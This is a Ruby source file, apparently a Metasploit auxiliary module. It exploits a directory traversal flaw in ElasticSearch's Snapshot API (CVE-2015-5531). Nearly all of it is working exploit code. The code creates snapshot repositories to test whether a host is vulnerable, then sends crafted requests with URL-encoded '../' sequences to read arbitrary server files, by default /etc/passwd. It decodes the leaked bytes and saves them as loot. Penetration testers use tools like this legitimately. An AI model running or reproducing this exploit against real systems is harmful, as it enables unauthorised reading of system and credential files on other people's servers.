129 lines
3.3 KiB
Ruby
129 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'json'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ElasticSearch Snapshot API Directory Traversal',
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'Description' => %q{
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'This module exploits a directory traversal vulnerability in
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ElasticSearch, allowing an attacker to read arbitrary files
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with JVM process privileges, through the Snapshot API.'
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},
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'References' =>
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[
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['CVE', '2015-5531'],
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['PACKETSTORM', '132721']
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],
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'Author' =>
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[
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'Benjamin Smith', # Vulnerability Discovery
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'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit Module
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'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit Module
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(9200),
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'Traversal depth', 7])
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], self.class
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)
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deregister_options('RHOST')
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end
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def check_host(ip)
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res1 = send_request_raw(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'),
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'data' => '{"type":"fs","settings":{"location":"dsr"}}'
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)
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res2 = send_request_raw(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
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'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
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)
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if res1.body.include?('true') && res2.body.include?('true')
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def read_file(file)
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travs = '_snapshot/pwn/ev1l%2f'
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payload = '../' * datastore['DEPTH']
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travs << payload.gsub('/', '%2f')
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travs << file.gsub('/', '%2f')
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vprint_status("Retrieving file contents...")
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res = send_request_raw(
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'method' => 'GET',
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'uri' => travs
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)
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if res && res.code == 400
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return res.body
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else
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print_status("Server returned HTTP response code: #{res.code}")
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print_status(res.body)
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return nil
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end
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end
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def run_host(ip)
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vprint_status("Checking if it's a vulnerable ElasticSearch")
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check_code = check_host(ip)
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print_status("#{check_code.second}")
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if check_host(ip) != Exploit::CheckCode::Appears
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return
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end
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filename = datastore['FILEPATH']
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filename = filename[1, filename.length] if filename =~ %r{/^\//}
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contents = read_file(filename)
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unless contents
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print_error("No file downloaded")
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return
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end
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begin
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data_hash = JSON.parse(contents)
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rescue JSON::ParserError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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return
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end
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fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
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fname = datastore['FILEPATH']
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path = store_loot(
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'elasticsearch.traversal',
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'text/plain',
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ip,
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fcontent,
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fname
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)
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print_good("File saved in: #{path}")
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end
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end
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